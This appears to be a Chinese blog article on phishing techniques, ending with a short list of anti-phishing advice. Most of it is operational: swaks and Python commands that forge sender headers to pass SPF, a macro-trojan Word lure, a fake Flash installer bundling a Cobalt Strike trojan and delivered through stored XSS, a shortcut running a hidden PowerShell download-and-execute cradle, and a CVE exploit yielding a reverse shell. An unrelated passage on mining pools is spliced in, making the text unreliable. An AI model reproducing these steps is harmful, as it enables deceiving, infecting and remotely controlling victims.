钓鱼与反钓鱼技术浅析
发布时间:2022-11-18
一、钓鱼技术
0X00 邮箱伪造技术 0X01 Swaks伪造邮件 swaks堪称SMTP协议的瑞士军刀,使用它我们可以灵活的操作SMTP 协议报文 通常最简单
的发送命令:swaks --to user@example.com --server test-server.example.net
同时,SPF检测会FAIL
0x01 smtp2go
smtp2go主要是相当于邮件托管,可以分发子账户进行发送。地址:https://support.smtp2go.com/hc/en-gb(邮箱注册)普通账
户可以免费发1000封邮件。分配好账户后,可以通过swaks进行登录发送邮件:
0x02 swaks发送邮件
swaks --to test@gmail.com --from admin@qq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -ap
为此,互联网上诞生了「矿池」。个人用户在挖矿过程中将挖矿客户端连接到更大的矿池服务器。与其他个人矿工抱团挖掘比特币。
当大矿池挖掘到比特币时,按照算力贡献对不同的客户端进行获利分成。绝大多数矿池会提供用户专用的挖矿软件和钱包地址。
但是上面这个邮件无法绕过SPF
0x03 SPF验证原理
如果mail.smtp2go.com是我的邮件服务器,那么gmail服务器收到的 源IP也肯定是mail.smtp2go.com的IP。gmail会校验邮件发送
者的IP是否存在于smtp.from的域名spf配置列表里。而上面这条命令:
waks --to test@gmail.com --from admin@qq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -ap
smtp.from就是admin@qq.com,和mail.smtp2go.com的IP肯定不同,所 以SPF校验失败,而校验失败的邮件,会有很高的几率被
扔到垃圾邮件 中。默认情况下,如果未设置Mail.From也就是邮件头的From,则会使 用smtp.from作为Mail.From
0x04 绕过SPF
由于邮件显示的是Header中的From不是smtp.from,因此可以将 smtp.from设置为正常的邮件服务器地址,伪造一个Mail.From即可
swaks --to ceshi@aliyun.com --from xx@smtp2go.com --h-From: '管理员' --ehlo gmail.com --body hello --server mail.smtp2go.com
-p 2525 -au -ap
Gmail接收到这封邮件后,会校验--from xx@smtp2go.com 中的 smtp2go.com是否等于mail.smtp2go.com的IP,由于是相等的,
所以完成了 SPF的校验。而DKIM是校验邮件完整性的,smtp2go与Gmail直接使用的是 TLS,不会发生什么问题
0x05 Header
swaks支持自定义某些Header,参数如下:
swaks --header-
如果我想去除Mailer特征,就可以这么做:
swaks --header-X-Mailer gmail.com --to ceshi@aliyun.com --from xx@smtp2go.com --h-From: '管理员' --ehlo gmail.com --body
hello --server mail.smtp2go.com -p 2525 -au -ap
0x06 附件、钓鱼
swaks --header-X-Mailer gmail.com --to ceshi@aliyun.com --from xx@smtp2go.com --h-From: '管理员' --ehlo gmail.com --body
hello --server mail.smtp2go.com -p 2525 -au -ap --attach /tmp/sss.rtf
定制发送:
swaks --data /tmp/mail.data --header-X-Mailer gmail.com --to ceshi@aliyun.com --from xx@smtp2go.com --h-From: '管理员 '
--ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au -ap --attach /tmp/sss.rtf/tmp/mail.data中是原始的邮件
报文。
0x07 Python实现代码
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import smtplib
from email.mime.text import MIMEText
from email.header import Header
mail_host="mail.smtp2go.com"
mail_user=""
mail_pass=""
sender = 'test@smtp2go.com'
receivers = ['ceshi@gmail.com']
message = MIMEText('Hello World', 'plain', 'utf-8')
message['From'] = Header("from@qq.com", 'utf-8')
message['To'] = Header(receivers[0], 'utf-8')
subject = 'SMTP 邮件测试'
message['Subject'] = Header(subject, 'utf-8')
try:
smtpObj = smtplib.SMTP()
smtpObj.connect(mail_host, 25)
smtpObj.login(mail_user,mail_pass)
smtpObj.sendmail(sender, receivers, message.as_string())
print "Success"
except smtplib.SMTPException:
print "Error"s附件携马技术
二、Office钓鱼
0X01打开Word文档,点击 “Word 选项 — 自定义功能区 — 开发者工具(勾选) — 确定”
0X02编写主体内容后,点击 “开发工具 — Visual Basic”,双击 “ThisDocument” ,将原有内容全部清空,然后将刚刚生成的宏
恶意代码全部粘贴进去,保存并关闭该 VBA 编辑器 。
0X03然后将文档发送给别人,内容可以是任何诱惑性的文字,比如通知等,可以针对目标进行相对的文字说明
Office正常情况下是不启用的宏的,可以诱导用户启用
可以通过如下等文字心里暗示
当点击启用宏的时候,木马就上线了
三、XSS+flash钓鱼
源码地址:https://github.com/r00tSe7en/Fake-flash.cn 伪造后是下面这个样子,当然我这是半成品,实战过程中需要购买相似性
特别强的域名用来迷惑
修改木马下载地址
0x03 木马生成
在flash官网找到安装包,下载下来与木马捆绑在一起。
去生成自己的木马,这里使用 Cobalt Strike作为演示
将两个文件放在一起
同时选中官方文件和木马,用winrar创建自解压文件。
选择高级-自解压选项-更新-覆盖所有文件
设置解压路径
设置提取后运行的文件,分别把正常程序和木马运行路径填入
设置模式全部隐藏
点击确定后生成文件
为了更具有迷惑性使用 ResourceHacker修改图标,将文件拖入后选择操作-替换图标
选择正常的flash
然后放在目录下
0x03 利用
找到有存储型xss漏洞的网站,这里以本地dvwa靶场为例,插入以下代码
由于是存储型XSS,所以每次访问这个页面都会弹窗并且点击确定后强制跳转至我们的钓鱼页面
点击下载后,运行exe,我们就成功了。
成功上线
四、快捷方式钓鱼
nk文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。
lnk钓鱼主要将图标伪装成正常图标,但是目标会执行shell命令。
同样使用Cobalt Strike生成相应的木马代码
会得到一串powershell代码
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.121.156:80/a'))"
然后新建快捷方式将上面的powershell语句填入
下一步,然后自己命名一下,点击完成。
可以更改图标使其更具有诱惑性
当受害者双击之后就会自动执行我们的恶意payload,从目标网站下载并执行。 最终被得到 shell。
伪装完毕
发送给目标点击后直接上线
四-二欺骗钓鱼:同样,利用Cobalt Strike生成一个恶意木马程序
利用最开始提到的邮箱伪造技术或者通过其他手段拿到内部人员的邮箱账号发送假的通知
当目标群体下载附件运行以后,就上线了
同样,上面提到的word也可以用这种方式来进行钓鱼攻击
五、0day/nday漏洞钓鱼
双杀漏洞 0x00 将CVE-2018-8147利用程序下载到本地并且进入相关目录
本机IP:192.168.121.129
0x01执行命令生成payload
开启web服务并且将exp.html和test.rtf复制到web服务目录下面
攻击方式一:
0x00本地监听上述的7777端口
0x01然后将地址发送给目标用户诱导其点开
对应网页会报错
观察我们的监听机器
成功反弹shell
可以执行任意命令
攻击方式二:
刚刚的文档,我们可以改名为具有诱惑性的标题
同样开启监听
发送用户
诱导点开 然后同样会反弹shell
总结
网络钓鱼已成为实施电子犯罪的更常见手段。据统计,网络钓鱼电子邮件在全球邮件流量中所占的份额超过50%,
用户的15%至少遭受一次网络钓鱼攻击,攻击公司的比例为85%。大约
80%的攻击是盗窃资金。大多数网络钓鱼活动都是短期的。
每次研究人员想出任何发现和预防网络钓鱼的想法时,网络钓鱼者都会使用当前解决方案中发现的漏洞来更改其攻
击策略。网络钓鱼诈骗可以通过恶意软件或社会工程来执行,后者指的是
使用假冒的网页或电子邮件。
当前,没有任何工具可提供100%的防护以防止网络钓鱼攻击,因为这些攻击大多数都是人为因素。由于区块链是一
项需要投资的快速发展的新技术,因此对区块链项目的网络钓鱼攻击数
量每年都将增加。
受网络钓鱼攻击影响的人员和公司最常见的错误是:
1)对基础设施的保护不足;
2)转到从信件到虚假网站的链接;
3)从骗局消息中启动恶意脚本;
4)信任欺诈性的广告活动,保证快速简便的收入;
5)社交网络中的保护水平不足;
6)对包含SSL证书的网站的过度信任;
7)投资ICO时对项目的了解不足;
8)无法使用现代的防御网络钓鱼攻击的方法(防病毒,特殊扩展和附加组件)。
整体解决方案:
1)使用书签代替链接;
2)使用带有反网络钓鱼扩展名的浏览器,
3)安装反网络钓鱼软件,
4)禁止点击链接和下载可疑附件;
5)使用服务之前对SSL证书进行身份验证;
6)发布加密钱包的离线副本;
7)使用双重身份验证复杂密码(至少14个符号);
8)拒绝公共Wi-Fi,使用安全网关。
会得到一串powershell代码
会得到一串powershell代码
Copyright © 上海巨瑞网络科技有限公司 版权所有 沪ICP备15005663号-1
沪公网安备 31011402002446号